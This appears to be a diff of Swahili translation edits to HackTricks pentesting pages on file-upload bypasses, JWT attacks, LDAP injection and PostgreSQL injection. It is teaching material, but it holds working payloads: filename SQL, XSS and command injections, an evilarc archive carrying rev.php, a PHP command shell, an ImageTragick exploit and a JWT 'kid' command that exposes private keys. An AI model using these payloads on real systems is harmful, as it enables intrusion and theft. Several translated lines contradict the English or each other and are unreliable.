* Mbinu nyingine ya kutengeneza payload inayoweza **kudumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Other Tricks to check
@ -108,12 +108,12 @@ AAA<--SNIP 232 A-->AAA.php.png
### Special extension tricks
Ikiwa unajaribu kupakia faili kwenye **seva ya PHP**, [angalia mbinu ya **.htaccess** kutekeleza msimbo](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye **seva ya ASP**, [angalia mbinu ya **.config** kutekeleza msimbo](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Ikiwa unajaribu kupakia faili kwenye **seva ya PHP**, [angalia hila ya **.htaccess** kutekeleza msimbo](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye **seva ya ASP**, [angalia hila ya **.config** kutekeleza msimbo](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza kwa php, au kuijumuisha ndani ya script...)
Extension ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu ku **ingiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali **extension hii kutekelezwa**.
Extension ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali **extension hii kutekelezwa**.
## **Jetty RCE**
@ -125,7 +125,7 @@ Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa
Kwa uchambuzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI hutumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Miongoni mwa mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kudanganywa kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI hutumia sintaks maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kudanganywa kwa madhumuni mabaya kama vile Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
Fikiria mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mipango mbalimbali:
```ini
@ -187,19 +187,19 @@ Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufa
* Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
* Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
* Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya injection ya amri (zaidi ya [mbinu za injection za amri hapa](../command-injection.md))
* [**XSS** katika picha (svg) ya upakiaji wa faili](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** faili **upakiaji** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE katika upakiaji wa svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** kupitia upakiaji wa faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
* [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
* [**XXE na CORS** bypass na upakiaji wa PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDFs zilizoundwa kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuatia maelekezo yaliyotolewa.
* Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
* [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
* PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambazo zitatekeleza JS zisizo na mipaka kufuatia maelekezo yaliyotolewa.
* Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
* Angalia ikiwa kuna **kikomo cha ukubwa** katika upakiaji wa faili
* Angalia ikiwa kuna **kikomo cha ukubwa** katika kupakia faili
Hapa kuna orodha ya mambo 10 unayoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hapa kuna orodha ya vitu 10 unavyoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo hiki kinaweza kutumika kama inavyoonyeshwa:
```python
@ -246,9 +246,9 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zaidi ya hayo, **symlink trick with evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Zaidi ya hayo, **symlink trick with evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haina makosa wakati wa operesheni yake.
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
```python
#!/usr/bin/python
import zipfile
@ -270,7 +270,7 @@ create_zip()
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Kuunda PHP Shell**: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
1. **Kuunda PHP Shell**: Msimbo wa PHP umeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
```php
<?php
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Pakia maudhui haya yenye kiambatisho cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka [exploit](https://www.exploit-db.com/exploits/39767))
Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -304,7 +304,7 @@ pop graphic-context
```
## Kuunganisha PHP Shell kwenye PNG
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kujaribu upya picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
@ -314,9 +314,9 @@ Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utamaduni wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot unaweza usitoshe kuhakikisha kupakia kwake.
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,7 +329,7 @@ Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

View file

@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -69,7 +69,7 @@ Check if the token lasts more than 24h... maybe it never expires. If there is a
[**See this page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Badilisha algorithmu kuwa None
### Badilisha algorithmu kuwa Hakuna
Set the algorithm used as "None" and remove the signature part.
@ -121,7 +121,7 @@ Wakati dhamira ya `kid` inapatikana kwenye kichwa, inashauriwa kutafuta kwenye d
#### Path Traversal with "kid"
Dhamira ya `kid` inaweza pia kutumika vibaya ili kuzunguka kwenye mfumo wa faili, ikiruhusu kuchagua faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
Dhamira ya `kid` inaweza pia kutumika vibaya kuzunguka mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -137,7 +137,7 @@ Mabadiliko haya yanawalazimisha kutumia funguo ya siri inayojulikana, `ATTACKER`
#### OS Injection kupitia "kid"
Hali ambapo parameter ya `kid` inaelekeza kwenye njia ya faili inayotumika ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri katika parameter ya `kid`, inawezekana kufichua funguo za faragha. Mfano wa payload kwa ajili ya kufikia RCE na ufichuzi wa funguo ni:
Hali ambapo parameter ya `kid` inaelekeza kwenye njia ya faili inayotumika ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri kwenye parameter ya `kid`, inawezekana kufichua funguo za faragha. Mfano wa payload kwa ajili ya kufikia RCE na ufichuzi wa funguo ni:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -171,7 +171,7 @@ X.509 URL. URI inayopointia seti ya X.509 (kiwango cha muundo wa cheti) vyeti vy
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na kuangalia kama ombi lolote linapokelewa. Katika hali hiyo **unaweza kuingilia JWT**.
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za faragha:
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za kibinafsi:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
@ -246,9 +246,9 @@ However, imagine a situation where the maximun length of the ID is 4 (0001-9999)
**Cross-service Relay Attacks**
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya utengenezaji na usimamizi wa token zao. Matukio yameandikwa ambapo token, iliyotengenezwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kujaribu kupeleka token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya kutengeneza na kusimamia token zao. Matukio yameandikwa ambapo token, iliyotengenezwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kujaribu kupeleka token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
* Tatizo muhimu linaweza kuonyeshwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio mapana inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la sheria lenye kivuli.
* Tatizo muhimu linaweza kuashiriwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio makubwa inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la sheria lenye kivuli.
**Expiry Check of Tokens**
@ -260,7 +260,7 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

View file

@ -17,9 +17,9 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" a
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -57,13 +57,13 @@ Kwa mfano:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Unaweza kufikia kwenye hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofauti.
Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofauti.
**OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\
**ADAM au Microsoft LDS**: Kwa vichujio 2 wanatupa kosa.\
**ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\
**SunOne Directory Server 5.0**: Tekeleza vichujio vyote viwili.
**Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatupwa. Ni bora kutuma kichujio kimoja tu.**
**Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.**
Kichujio kinapaswa kuanza na: `&` au `|`\
Mfano: `(&(directory=val1)(folder=public))`
@ -75,7 +75,7 @@ Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (ki
### Login Bypass
LDAP inasaidia mifumo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahifadhiwa.
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahifadhiwa.
```bash
user=*
password=*
@ -167,7 +167,7 @@ Unaweza kuzunguka juu ya herufi za ascii, nambari na alama:
#### **Gundua maeneo halali ya LDAP**
Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika **kuhifadhi taarifa**. Unaweza kujaribu **kuvunjavunja zote ili kupata taarifa hizo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
Vitu vya LDAP **vina vyenye kwa chaguo-msingi sifa kadhaa** ambazo zinaweza kutumika **kuhifadhi taarifa.** Unaweza kujaribu **kuvunjavunja zote ili kupata taarifa hizo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -199,7 +199,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Mchakato wa Kijinga wa LDAP wa Kipekee (bila "\*")**
#### **Mchakato wa Kijalala wa LDAP wa Kipekee (bila "\*")**
```python
#!/usr/bin/python3
@ -224,23 +224,23 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **hacking career** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_uandishi na kuzungumza kwa kiswahili fasaha inahitajika_).
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
@ -23,7 +23,7 @@ Ikiwa unavutiwa na **kazi ya hacking** na kuhack kile kisichoweza kuhackwa - **t
***
**Ukuran huu unalenga kuelezea mbinu tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha mbinu unazoweza kupata kwenye** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
